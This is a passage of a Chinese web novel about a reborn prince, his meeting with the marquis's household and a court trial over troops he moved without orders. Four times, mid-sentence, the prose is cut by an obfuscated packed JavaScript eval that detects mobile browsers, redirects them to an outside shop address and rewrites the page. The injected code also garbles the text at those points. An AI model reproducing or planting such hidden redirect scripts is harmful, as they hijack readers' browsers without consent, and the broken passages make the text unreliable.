苏予夺捧着茶盏咯咯一笑，余光轻扫三人：“都说完啦？我这位姑爷身上，就没别处不对劲的？当着我的面儿，都别藏着掖着的！” 三人相视一眼，欲言又止，你推我让，最后还是祥发先开了口： “六爷，倒有一件怪事。这位公子，身体是右手的架子，习惯却是左手的路数。” “我替他更衣时留心看了。他右肩三角肌，前臂桡侧的旧茧厚而硬，是长年练剑挽弓留下的，正好不超过二十岁年轻人的累积量。这分明是个右利手的筋骨底子。可他更衣，接物，甚至整理袖口时，行云流水全用左手，流畅得仿佛与生俱来的左利手。这习惯绝非数月能养成的，我就觉得有些蹊跷。” “祥发说到点子上了。我摸到的也正是这个‘拧巴’劲儿！”兴发也随声附和： “我特意细摸他右臂，筋肉有力，经络通畅，绝无旧伤。又试他反应，右边力道甚至比左边还足三分。可怪就怪在——一旦放松，他全身重心会不自觉地微微向左靠，仿佛右边曾让他吃过亏，信不过似的。我捏到他右肩井穴时，他肌肉有刹那紧绷，不是疼，是……一种下意识的戒备，快得他自己都没察觉。但左边同样刺激，他反而全然松弛。身体说右边更强，但潜意识的反应却更信任左边。魂儿和身体打架，说不出的古怪。” “两位哥哥说得透彻。我在饭桌上也瞧出来了，他这右手执筷是才捡起来的。”兴隆啜一口茶，仿佛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057237|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这茶汤塞牙似的嘬嘬牙缝。 “看他年纪也该有二十出头，哪能这么不会用筷子？夹什么都慢，算他聪明，慢就不会出破绽，可我盛汤递给他，他可是下意识伸出左手接的，百密一疏啊！” “嗯，此事……容我再好好琢磨琢磨。” 苏予夺的表情看不出来满不满意，仿佛又突然没什么兴趣了似的，轻笑一声：“诸位，再拣点儿他的好处来说说。不然，我怕一会儿一见了那故弄玄虚，欲盖弥彰的小子，该忍不住，叫人把他打出去了！” 三人听了，几乎同时噗嗤一笑。 “他觉得我们可怜。” “心疼我们四十来岁的人了，还伺候人呐！” “侯爷，这小子心肠软，怜悯心重。依我看，抛去别的不提，有他这颗心在，准保不会亏了咱家姑娘！” 慧娘在檐下探头探脑，支起耳朵来听动静，房门突然打开，三人走了出来。 “你们说完啦？”慧娘十分热切地凑上前来：“都怎么说的呀？” “我们有急事回店里，你问兴发去！” 祥发和兴隆都故意不理她，加快了脚步含着坏笑把她和兴发落在后头。 “慧娘！”兴发才跨出门槛，一见她两眼就亮了，屁颠屁颠地凑上前来。 “哎嘿，一个两个都不理人！”慧娘嫌弃地一甩袖子：“郡主让我过来打探，要是你们说完了，让我赶紧过去提醒侯爷，别刁难她那宝贝王爷，他俩还赶着回宫去呢。” “王爷？那小子是个王爷？”兴发惊得拔高了嗓门儿。 慧娘一把用胖手捂住他的嘴，边压低了声音边往外搡他：“哎哟，你小点儿声！大呼小叫的。快走吧！” 兴发流连地摸了一把自己的嘴唇，回头含情脉脉地低声说：“慧娘，这么多年了，我还是那句话，你要不嫌弃我是个臭搓澡的——” “嫌弃。”慧娘立马不假思索地答。像看条癞皮狗一样从头到脚溜他一眼，眉头一皱：“怎么不嫌弃啊？跟你说多少回了都！快走快走，回你那破混堂去。谁给你当老板娘，天天看一大帮男人扑通扑通下饺子似的往池子里蹦！” 余下两人等在门外，笑嘻嘻地打趣蔫头臊脑赶上来的兴发：“哎哟，二十来年啦！还是不成啊？” “不成不成！”兴发缩着脖子袖着手，闷闷地往前走。 祥发有感而发：“刚才六爷说得对，真是岁月不饶人呐！咱们伺候六爷洗澡的时候才多大？也就刚才那小子一般年纪。” 兴隆诉苦道：“我当时比他还小呐！那添水的大木盆子太沉，我总端不动，你们也不搭一把手，还笑话我！” 兴发这才粗声粗气地接口：“那小子不愧是个行伍出身，洗澡不拖沓，一点儿不爱多泡。咱爷那时候，没有两个时辰出不来！” “嘿嘿，不过啊，六爷那澡也不白泡，身上比这小子白不少！” “好了！”祥发朝他肩上敲一拳：“让六爷听见你这么编排他，我看四海汤掌柜的要换人！” 三人插科打诨着出门，各自登上门口等待的华贵马车，分头离去。 55.“瞧瞧？那么等不及。” 萧征这一餐饭虽有些心不在焉，倒也吃得周身暖融融的。饭后，小厮又奉上一盅花椒酒，他微笑着摆手推辞了。稍后要去拜会苏萦父母，回宫后更需向父皇母后请安，带着酒气，总归不妥。 漱口净手后，未及他询问，苏侯处便派人来请了。一名锦衣小厮趋步而入，礼数周全：“公子，轿子已备好，侯爷在正堂相候。” 临出门，几名小厮细致地为他披上紫貂大氅，系好抹额，戴上裘帽与暖耳，将半干的发丝妥帖掩好。从西客院至正堂不过百步脚程，竟备了一顶暖轿，皮毛围得密不透风，手炉脚炉一应俱全，周到得仿佛在伺候襁褓中的婴孩或月子里的产妇。萧征心下失笑，这般小心，未免太过。 行至正堂，苏侯似被急事暂请离去，未饮尽的茶盏尚在案上。屋内暖意融融，火盆烧得正旺。仆役引他入内，替他解下大氅，奉上新茶后，便悄然退下。 堂中只剩他一人。萧征起身，缓缓环视这间他前世无比熟悉的厅堂。他曾在此会客，议政，决断机要。目光掠过右首那张椅子时，记忆猛地刺入——萧庆曾坐在那儿，涨红了脸，拳头猛砸向桌面： “哥，横竖是死，这皇位咱们抢定了！” 他仿佛从噩梦中猝然惊醒，周身一颤，幸而无人得见。定了定神，他移开目光，故作随意地打量四周。 苏侯的旱烟枪斜倚在桌边。一尺来长的漆木烟杆，和田玉的烟嘴，银制烟锅上刻着精细的吉祥如意纹。 苏侯竟有此好？萧征微怔，前世他倒从未知晓。 他前半生从未碰过此物，第一次接过，是在沦落山野之后。村人递来一杆粗糙的竹烟杆，嘻嘻笑着怂恿他：“萧先生，抽一口！解乏，也解愁！” 辛辣浓烈的烟雾蛮横地灌进肺腑，呛得他涕泪横流。 咳咳，咳咳…… 神情恍惚中，某种更尖锐的东西也仿佛暂时麻痹了。 此后，那便成了他隐秘的止痛药与忘忧草——在病痛肆虐时，在往事席卷时，他总躲进山洞，掏出火折子，用颤抖的手急惶惶地点燃粗劣的烟沫子，近乎贪婪地深吸一口—— 五脏霎时清明。 真的清明吗？ 他不去想，他不敢想。 只是任那短暂的眩晕，覆盖所有知觉。 过完瘾，他必在山风中久久站立，直到一身烟味散尽，才敢回到人前，回到那需要他维持体面的残破生活里。 苏侯的烟丝是顶好的，只闻闻味道就知道。那醇厚的香气幽幽飘来，与他记忆中劣质烟草的辛辣气息截然不同。 鬼使神差地，他走了过去。仿佛被前世的某个自己推着，他极快地拿起烟杆，就着未熄的火折，仓促而深深地吸了一口。 顶级烟丝带来的柔和慰藉，如暖流熨过肺腑，瞬间抚平了某种深植于心底的焦灼。那是一种熟悉到令人心悸的“解脱”。 也就在这一刻，门被推开，凉风卷入。 “殿下久候——” 苏侯的声音与一阵冷风一同传进房中。 萧征被那寒风一激，本就因前夜受寒而发痒的鼻子再也忍不住—— “阿嚏！” ——七窍生烟。 他方才匆忙吸入，未来得及全然咽下的烟雾，从口鼻中四散奔逃。一时间，他面前薄烟缭绕，恍若仙境。 苏予夺的脚步顿在门口，目光在桌上萧征刚匆匆放下的烟杆，与少年面上那未来得及收敛的，“做坏事”骤然被撞破的惊慌神色间，极快地一扫。 侯爷脸上旋即漾起那惯常的，滴水不漏的和煦笑容，仿佛全不在意似的，只转头对紧随身后的裕隆温声吩咐： “瞧瞧我，竟不知殿下也好此道。裕隆，去将我书房抽屉里那套收着的湘妃竹杆，云纹银锅的烟具取来，给殿下带上。” 他回看萧征，笑容可掬：“一点小玩意儿，殿下莫要嫌弃。” 萧征僵在原地，面颊如烟袋锅一般滚烫。他此刻才不想要什么烟枪，却只恨地上为何不立刻裂开一道缝，好让他一头钻进去藏起来。 骋月轩中，苏萦被母亲抹了满满一脸的冻伤药，连两只圆润如元宝般的大耳朵上都满是白花花的脂膏。 魏国公夫人走进来，苏萦凑过去要与舅母亲近，舅母笑着推她一把，佯作嫌弃：“离远些！小花脸猫。” “娘，咱府上丢了一架马车并两个下人，找回来了吗？” “找什么？”乔望舒又拉她坐在榻上，在她冻肿的手指上揉上药膏：“马车昨晚上全回来了，咱家没丢什么马车。” “怎么会？”苏萦瞪圆了眼：“昨儿拉我到城南，把我自己丢在瓦罐巷——” “你父亲派人跟着你呢！”乔望舒嫌弃地瞥她一眼：“怎么会把你自己扔在城南那糟乱地方。” “啊——”苏萦恍然大悟，气得一拍炕桌：“把我冻死了！有车干嘛不给我坐！” “冻死了吗？”舅母在旁戏谑地帮腔：“我怎么听说，有小郎君解了披风给你穿？” 苏萦冻红的耳朵又红了一分，羞涩地转过脸去。 “我那十七弟也是没用。我听说，他丢了印信？冒冒失失的。若换作是你大表哥在，定护你周全，不会让你被官差捉去。”舅母很替她抱不平。 “大表哥呢？好些年没见他了。”苏萦随口问。 “他？不还是在前线，也不知道这阵子打到哪儿了。他可变了模样了！你不也是？长成大姑娘了。等他回来，有机会安排你俩见一面，都不一定能认得出来了！” 苏萦昨晚没睡饱，懒懒地滑下来，枕到舅母腿上，手还交在母亲手里，任母亲耐心地揉捏着她肿胀的小手。 “哎哟，可别蹭的我满身都是！”舅母大呼小叫地用手绢子包住她滑腻腻的耳朵，隔开苏萦的脸与她的裙子，开玩笑吓唬她说：“不然让你爹做十套新的来赔我。” “听者有份，我也要十套。”苏萦困得睁不开眼，还配合着舅母说笑。 她自进宫来，见舅母的次数，比见自己母亲的次数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065139|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都多。舅母是陛下的八公主，婚后随舅舅在京城定居，最常有机会进宫来，有时带着她的娘，或带着哪一个表哥。舅母生的五个表哥她分的清，长得都不太像。大表哥最不常来，她对大表哥印象却最深。她从秀州到京城来的时候，大表哥和二表哥就都已经是少年人，不是小孩子了。 她小时候性情直率，是有什么说什么的，久不见大表哥，就直接去问舅母。 “听澜啊！”舅母听她问，很高兴似的，眼睛都亮了，拉着她的小手把她拉到身边来：“他到军中去了，这阵子作训忙。诶，他上回还问起你呐！说我未晚妹妹在宫里怎么样？吃食好不好，像不像娘那个时候挨饿？” 苏萦懵懂地摇了摇头：“我不挨饿的。” 她也大概知道舅母的意思，她舅母也是陛下的孩子，不受宠的低位嫔妃生的小丫头，小时候饿得半夜自己在灶坑的余烬里烤红薯吃。 “对，”舅母凑近她耳边，讳莫如深地低声叮嘱：“你爹送来的好东西，一定要多吃，听到没有？一定别饿着自己。舅母像你这么大的时候，宫里都有饿死的姐妹。” 苏萦不知道人竟还有饿死的。当时不觉得，后来看萧庆饿得直哭，皇后娘娘还哄他睡觉，忽然一阵毛骨悚然，心里一个声音在大喊着：“他要饿死了！” 萧征和萧庆小时候也挨饿。宫里养孩子的规矩是饿一饿的好。多亏他们的母亲身份高，又有主意，偷偷的给他们开小灶，吃东西。 皇宫里的孩子身体总是羸弱的。小哥俩自小身体也不好。他们的饮食皇后尤其注意。挑来捡去，能吃的东西只那几样，做好了端上来还由她亲自翻翻检检，然而孩子们依然是隔三差五地害病，这真是无法可想。 苏萦当然不必皇后操心，苏侯是总有好东西送来的。她自己住在赏明宫，吃得与玉栖宫两样。她父亲送进东西来，她分享给要好的公主们，散给下人们。小哥俩是不吃的。萧征自制力惊人，他自己不要吃。萧庆和苏萦相处的不好，他当然不配吃。 萧庆去找母后告状，母后温柔地给他讲道理：“这是妹妹家送来的。” 小时候苏萦顶不爱听这话，仿佛把他们分割开来，时刻提醒她在宫外还有个不能回的家，眼前的这个“母后”不是“娘亲”。 下人来报：前院那位公子梳洗好了，正在堂前陪侯爷说话呢。苏萦睡得半梦半醒，模模糊糊听了半句，便急不可耐地翻身起来，飞出门去。 “哎哟，瞧瞧，那么等不及。”舅母指着苏萦匆匆忙忙的背影，苦笑着抱怨：“皇后娘娘怎么养的？定是在咱们姑娘面前，说了她儿子许多好话。” 乔望舒把冻伤膏收起来，低着眼皮默了一会儿，轻叹一口气幽幽地说：“……要我说，采生的人不能随便选。” “嗯？” 魏国公夫人先茫然地眨巴眨巴眼睛，随即反应过来，气急败坏道：“哎，乔望舒！就你哥那个铁骨铮铮的锯嘴葫芦，我若不主动，现在听澜指不定还没有未晚大……” 56.“呀，真对不起。” 魏国公夫人萧华熙伸长了脖子，眼见苏萦的身影消失在院门外，四下也无人踪，这才猫下腰，轻手轻脚地提着裙摆，溜到炭火盆边。她用铁叉在温热的灰烬里小心翻找，扒拉出几个表皮微焦的小芋头。 “哎呀，什么山珍海味，值当你这么偷偷摸摸，好像谁会跟你抢似的。” 乔望舒看得哭笑不得，“当年你不见得是挨饿，是纯粹就好这一口吧！” “难得在你家啊，我躲清净！忆苦思甜，吃一口这个。”华熙理直气壮，用铁叉把芋头扒拉拨到地上的青瓷盘里：“那平日在国公府里，七八个孙子孙女围着我转，“祖母祖母”的喊，没半刻消停时候。儿媳妇们妯娌之间拌嘴了，也找我来断是非——你要不要一个？” 说话间，两个沾着炭灰的芋头已滚落在黄花梨木的茶几上。两人也顾不得烫，指尖飞快地试探着剥皮，烫着了便急忙去捏自己冰凉的耳垂。 “多亏没让未晚瞧见，不然我这当娘的脸面可往哪儿搁。” 乔望舒边吹气边忍不住笑，有些不好意思。 “怕什么？等会儿未晚回来，还得领着咱们那位十七殿下过来请安呢，一看咱俩吃得满脸黑，那才叫——” “哎呀！” 乔望舒恍然，急忙摆手催促：“快吃快吃，吃完收拾了！” 华熙却浑不在意，随手掸了掸衣摆沾上的灰：“皇子都当平头百姓关进县衙里去了，就不兴我这国公夫人坐在这儿吃个烤芋头？” 她熟练地剥开芋头，将皮抿在素帕上，话锋一转：“未晚那孩子，心肠太软，不像你我。昨儿个的事，把她舅舅气得什么样儿？要依他的意思，昨夜就该把那小子从牢里提出来，先结结实实揍一顿板子再说！臭小子皮糙肉厚的，挨几下打能碍什么事？凭咱们与皇后的交情，她还能怪罪不成？偏未晚当了天大的事，在公堂上抓着人死不撒手。惯的那小子毛病！咱们年轻那会儿，谁还没挨过几下打？” 她说得眉飞色舞，乔望舒忍俊不禁，嗔怪道：“你还有脸提！就你连累我那档子事儿，我都不想说！” “怎么不能说？你还该谢我呢！” 华熙一扬下巴，神气活现：“若没那一档子事，你怎么认识我大姐姐？谁又领你上战场去？这宅子如今是赏谁的，可说不定了呢！” “哎哟，是是是，” 乔望舒笑着假意作揖：“民女在此，多谢八公主提携之恩了！” “免礼免礼，” 华熙大手一挥，摆足架势，“些许小恩小惠，记在心里就得了！本公主宽容大度，不讲究这些虚礼！” “对了，”乔望舒这才想起件正事来：“才苏予夺说啊，永宁王此番回宫，必要挨陛下收拾，所以昨晚，才没依他内兄的主意。他说，还轮不到咱们替陛下教训儿子呢！” “真的？最好是。”萧华熙冷哼一声：“他什么事儿犯到陛下手里了？不会连累咱家未晚吧？” “那我可没打听。不过，若会让未晚受牵连，她爹早坐不住了，还轮得到咱们在这儿猜来猜去？再说，当谁都像你们家似的，一个儿子犯错，动不动就搞连坐，打通堂！” “那你跟我说不着，你找你哥去。”华熙嗤笑：“衙门里带回来的毛病！” 苏萦出了骋月轩，没走几步路，就撞见慧娘引着萧征往这边来。她见他走过来，又忽然觉得有点不好意思，眼神扑朔着低下头小声问：“我的样子是不是很好笑？” 萧征仔细看去，只见她脸颊，耳垂都涂着乳白的油膏，在日头下微微反光。他心头一紧，眉头不自觉地蹙起：“昨夜到底是冻伤了？疼吗？” 周围侍立的公主府下人，都偷偷地拿眼睛溜着他。把她们好好的千金小姐冻成这样，好意思问呢！这还是在皇城脚下，他们萧家人的地盘上！萧征心里当然也很不过意，等下又要见她的母亲，心里就更发怵了。 苏萦却浑不在意，反倒安慰他：“母亲给我备了好多，待会儿你也抹点儿吧。” “不必了。” 萧征摇摇头：“待我向保康公主与魏国公夫人请过安，我们便该启程回宫了。” 说罢就疾步向前走。 苏萦跟在他身侧，不甘心地追问：“你看你耳朵那么红，肯定是冻坏了！没觉得痒吗？” 房内，两位夫人正吃着芋头闲谈。乔望舒到底行伍出身，耳聪目明，一眼瞥见窗外人影入院，立刻低声警醒：“来了！” 两人手忙脚乱，顷刻间便将残局连同盘子一起推到厚重的桌布下掩盖妥当。待慧娘掀帘探看时，只见两位夫人正互为镜鉴，细细检查对方唇角牙缝是否还粘着炭灰。 当萧征略携一丝忐忑，恭敬步入室内，抱拳躬身行礼时，面对的已是两位仪容整饬，笑容得体，无可挑剔的尊长。 “萧征拜见八皇姐，拜见保康公主。” 他声音清朗，礼节周全。 华熙闻言，眼波流转，故意打趣：“咦，十七弟，乔大将军既也敕封公主，你怎不随我，也叫她一声‘姐姐’？” 乔望舒连忙笑着摆手：“殿下折煞臣了，岂敢当此称谓。” “那按这么论，” 华熙却还不肯作罢，笑吟吟地将目光转向苏萦：“那未晚岂不是你外甥女了？未晚啊，叫舅舅。” “我才不做他外甥女。”苏萦的小嘴噘的老高。 “好了，时辰也不早了。” 华熙见好就收，笑容微敛，语气温和地送客：“回宫去吧。进了那宫门，你们爱叫什么叫什么，我们可就管不着了。” 嘉裕侯行事周全，今日一早便已遣人持印信入宫请旨。陛下允准，着内廷派车驾仪卫至保康公主府，迎永宁王与华容郡主回宫。此刻，仪仗已在府门前静候。 萧征与苏萦乘着小轿往府门行去，心中俱是五味杂陈。 苏萦不住回头，望向父亲母亲与舅母站立的方向，目光依依，仿佛总也看不够。回到自己的家不过几个时辰，便又要走了。还要在那冷冰冰的宫墙里，待上几年才算完呢？ 萧征担忧的却是另一回事。离宫时悄然无声，回宫却如此大张旗鼓，这是陛下在向整个京城昭示他们寻药功 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069720|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成。郭娑早已先一步回京，一定带回他们找齐药引的消息，父皇此刻再行此举，无异于将他置于众目睽睽之下，几位兄长那边…… 他正觉如芒在背，心神不宁，道旁肃立相送的下人堆里，忽地传出一声怯怯的呼唤：“贵人！” 从人丛中匆匆跑出的正是茁儿母子：“多谢贵人们大恩！” 茁儿懵懵懂懂地跟着母亲上前，对着萧征和苏萦磕头。 “不可，不可。”萧征当即下轿，抢先一步虚扶住妇人手臂，阻挡她下跪之势，温声道：“刘娘子，万万不必如此。不过是举手之劳，温郎中处一应诊费汤药，我自会安排妥当，你们母子，且安心在此治病。慢慢调养，总会好的。”他顿了顿，目光掠过孩子稚嫩的脸，不禁凭空生发出某些感触：“世事艰难，二位……务必珍重。” 苏萦也顾不上再默然感伤，下轿过来，轻轻把那孩子抱起来。 正因她今日格外留心萧征的右臂，才更察觉出一丝异样——他几乎不用他这只右手。俯身叮嘱茁儿时，身体也明显倾向左侧。 带着满腹狐疑，两人登上车驾。马车驶动，苏萦才挨近他，压低了声音小心地问：“有还哥哥，还疼啊？”她满含担忧，目光锁在他的右臂上：“我昨晚是不是给你压坏了？” 萧征不答话，她还急着催问：“是我弄的吗？” 萧征心绪纷乱，未及细想，只含糊地“嗯”了一声，语气有些生硬，倒像是在赌气。 没想到苏萦真好脾气地拉过他的手臂来给他揉着，皱着小眉头低声嘟哝： “呀，真对不起。” 萧征闻言，一瞬恍惚，呆呆地望向她。 轻描淡写地，倒转了二十年光阴的道歉。 “……不是，”他强迫自己回神，生硬地将手臂抽回：“与你无关，我就是这段时日惯用左手。” 然而一路上，但凡他忘了掩饰，习惯性地伸出左手做什么，苏萦便会立刻捉住他的右手，忧心忡忡地揉捏几下，狐疑地追问：“真不疼啊？你别骗我啊！” 两人相对静默了一会儿，眼看快近宫门了，苏萦忽然抿嘴一笑，颇有些自得：“这一趟家也不算白回，好歹，给你在我父母面前留了一个好印象。” 还有什么好印象，我的人在你父亲那里已经丢尽了。 萧征心中叫苦。 “哥哥，我还没来得及问你呢！”苏萦又想起一事，凑近了些，大眼睛里闪着好奇的光：“你这一路上，怎么对这市井之间的事，都了解的这么清楚？” “……我远比你懂的时候要晚得多了。”他顾左右而言他。 “嘁，你是什么时候懂的？十六岁？十七岁？”苏萦不爽地撇起嘴：“哥哥最近真怪，老气横秋的。” 萧征无从解释，只得端起兄长架子，抬手作势要弹她额头。 “诶诶，不许弹我！”苏萦敏捷地侧身躲过，随即扬起小巧的下巴，眼底闪过一丝狡黠又得意的光：“我可‘有孕在身’呢！” 57.“哥哥，你求饶啊！” 冬天里日头短，马车驶入宫门，又是夕阳西下。 “回来了。”萧征望着窗外熟悉的景致轻声感叹。 “又回来了。”苏萦也闷闷不乐地轻声嘟囔，却是与他截然不同的另一种心境。 总管太监周国泰已静候在车驾前，躬身道：“十七殿下，华容郡主，陛下有口谕：永宁王萧征回宫，即刻至承乾宫西暖阁见驾。奴才特此迎候，殿下，郡主，请随奴才前去吧。” “陛下这么急着见你，一定是有好东西赏你！”苏萦眼睛一亮，暂时抛开了郁闷，由衷为萧征高兴：“这回我可也出了大力气，不知赏赐有没有我的份儿？咱们离宫前陛下就说过要赏我，还都没兑现呢！可能是陛下日理万机，把我的事儿给忘了……这回见了我，总该记起来了吧？”她跟在萧征身侧，越说越雀跃。 萧征却面无喜色，只是沉默地随着周总管前行，步履沉缓。周国泰回头极快地瞥了这对神情迥异的少年人一眼，脸上如同覆了一层薄薄的面具，看不出端倪。 一行人匆匆赶往承乾宫方向，刚过一道宫门，便见萧庆从斜刺里猛地冲出来，一把拽住萧征的衣袖，气息未定，满脸焦灼：“哥！别去，千万别现在过去！” 萧征脚步一顿，苏萦也吓了一跳：“萧庆，你说什么呢？” “哎呀，还不是八哥十一哥，还有那几个兵部的老家伙挑事！”萧庆急得语无伦次，连连捶腿跺脚：“他们说你在曹州私自调兵，是触犯了军纪，该按罪论处……你一言我一语的，哎呀，我听得稀里糊涂的！他们现在全围在西暖阁，逼着父皇处置你呢！母后也被请过来了，眼下那屋里就跟三堂会审似的，你要是现在过去，肯定要倒霉！我一看这形势，赶紧趁人没注意，跑出来给你报信，你——” “啊？调兵锦糖镇，居然触犯军法？”苏萦顷刻吓白了脸，泫然欲泣，颤抖着捂住嘴巴：“我不知道……我不知道这不合规矩，当时情况紧急，我是救人心切——” “哎呀，跟你这小丫头有什么关系！”萧庆不明就里，只急催萧征：“哥，你赶紧找个地方躲躲，避避风头！” “躲？”萧征唇边掠过一丝近乎自嘲的冷笑，目光却越过宫墙，投向承乾宫的方向：“普天之下，莫非王土。父皇传召，我能躲到哪里去？” 他比谁都清楚，这不是躲不躲的问题，而是必须去面对的局。兄长们的攻讦，早在他预料之中。只是来得更快，更声势浩大些罢了。 他不再多言，轻轻拂开萧庆的手，整了整衣襟，迈步朝着那片渐浓的暮色与已向他张开的罗网泰然走去。 承乾宫西暖阁内，地龙烧得极旺，却无从调和凝滞僵冷的氛围。空间本不算阔朗，此刻更因挤满了人而显得逼仄压抑。 皇帝半倚在暖炕的明黄靠枕上，面色在灯火下显得有些晦暗难明，手中缓缓拨动着一串沉香念珠。步皇后端坐于炕侧另一头，妆容雍容，眉宇间却凝着一层淡淡的担忧，目光低垂，落在自己交叠的手上。 而底下，以三皇子为首的几位年长王爷，以及两位被“惊动”而来，面色肃然的兵部老臣，几乎站满了余下的空间。他们看似恭敬垂手，实则形成了一道无形的，充满压迫感的包围圈。空气里弥漫着一种猛兽猎食前的寂静，只偶尔有衣袖摩擦的窸窣声，或是一两声刻意压低的清喉声响。 暖阁的门被无声推开，萧征的身影出现在门口。屋内所有心怀鬼胎之人，瞬间如同嗅到血腥味的豺狼鬣狗，目光“嗖”地一声，齐刷刷钉在他身上。 皇帝抬起眼皮，看了他一眼，没说话。 步皇后眉梢轻轻一颤，欲言又止。 “十七弟，你可算回来了，一路辛苦啊？”八皇子萧祚率先开口，声音不高，却带着迫不及待的恶意：“只是等着要封赏之前，还有些事，需得当着父皇母后与诸位老臣的面，说个清楚。” 十一皇子萧捷紧接着上前半步，语气“恳切”却步步紧逼：“十七弟，非是兄长们苛责。你在曹州，为保自身与药引安危，未经兵部调令，亦无父皇明旨，便擅自凭亲王身份调动武卫驻军。你可知，此例一开，后果何等严重？若边疆将领，各地藩王皆效仿此‘权宜之计’，我朝军纪法度，岂不形同虚设？” 一位兵部老臣适时地沉重叹息，颤巍巍道：“陛下，老臣惶恐。永宁王孝心可嘉，然私动兵马，干系国本，绝非小节。若不申明纪律，恐军心不稳，四方效尤啊！” 你一言，我一语，看似道理严正，实则字字如刀，将“擅权”，“坏法”的罪名牢牢扣在萧征身上。暖阁内的空气仿佛被这些话语抽得更紧，更稀薄，令人窒息。皇帝沉默地听着，拨动念珠的指尖略显迟缓；皇后则将目光低下，仿佛不忍再看。 晋王萧谅，在一旁扶杖垂首而立。他没有上前，没有出声，表情晦暗不明，身影仿佛融入背景之中。 离京前，父皇那一顿家法，想必罚的极重，如今已半月有余，行动还要靠拐杖支撑。这仇，结的实在够大。萧征已不是前世懵懂天真的幼弟，早看透他虚伪假面，知他表面宽宏大量，内里暇眦必报，今日兄长们群起发难，背后若说没有这位三哥的手笔，他绝不相信。 当前形势明了，这陷阱是明摆着，非逼着他往下跳的。 萧征缓缓跪地，姿态恭顺，声音在令人窒息的寂静中清晰响起： “儿臣萧征，私自调兵，触犯军纪。证据确凿，无可辩驳，甘领父皇一切责罚。” 话音未落，已被他叮嘱先行回去的苏萦竟猛地从外头冲进来，扑倒在地，膝行向前，仰起脸焦急万分地望向御座，拼命辩驳：“不是的陛下，不是哥哥做的！” “苏萦！放肆！”萧征万没料想到有这一遭，慌不择路，口不择言，只得立刻呛声喝止：“军国法度，岂容你一外臣之女在此胡言乱语！还不快出去！”他内心慌乱如麻，只想将这不知深浅，胡乱逞能的丫头立刻撵出这是非之地。 苏萦却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078821|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偏赶上这时犯了倔脾气，好像听不懂他的弦外之音，只固执一词，以额触地，急声道：“……陛下明鉴！当时情况危急，臣女与永宁王失散，先行赶到曹州县衙求援——” “是儿臣为剿灭为祸地方的宋丘一族，寡不敌众，方行此权宜之计！”萧征不容她说完，深深俯首，将罪责牢牢按在自己身上：“所用凭信，正是儿臣郡王私印！此事系儿臣一人决断，请陛下明察！” 两人跪在御前，各执一词，此起彼伏地叩首陈情，场面一时混乱，倒显出几分与凝重气氛格格不入的诙谐与执拗，简直像一双小儿女在叩拜天地高堂。 “华容郡主，莫再胡闹！”步皇后终于出声申斥：“你可知擅动兵马是何等干系？你一闺阁女子，有何身份，凭何信物可调遣武卫军？替人顶罪前，先考虑清楚，别出言荒唐，让人看了笑话！” 皇帝闲闲听了半日，终于开口，目光转向兵部大臣：“十七皇子当日，究竟调用了武卫军多少兵马？兵部可有确数？” 兵部大臣躬身回奏：“陛下，依曹州呈报及兵符记录，永宁王殿下当日急调武卫军一满编步卒队，连伙长在内，共九十六人。” “老三，”皇帝又转向萧谅，语气平淡：“这私自调兵之罪，依我大朔律法，该如何论处？” 萧谅闻声，拄着拐杖，略显艰难地行了一礼，整肃开口：“回陛下，《大朔律·擅兴》有载：‘无警急，辄调发兵马十人以上者，主将徒一年；满百人，徒一年半；每增百人，罪加一等。’” 皇帝听罢，微微直起身，目光如沉水般落在下方跪得笔直的萧征身上：“皇子若服徒刑，有损天家体统。便以杖刑折抵。徒刑一年，折为杖责一百。”他顿了顿，声音陡然转沉，不容置疑：“周国泰，备戒尺条凳。朕要即刻在此行家法。” 一百，一百杖？！那岂不把人打死了？ 苏萦脑中“嗡”地一声，瞬间一片空白，只觉一股寒气从脚底直冲头顶。她几乎是本能地又向前膝行两步，泪如雨下，哀声哭求：“陛下！陛下开恩！求您饶了哥哥吧，饶了哥哥吧！” 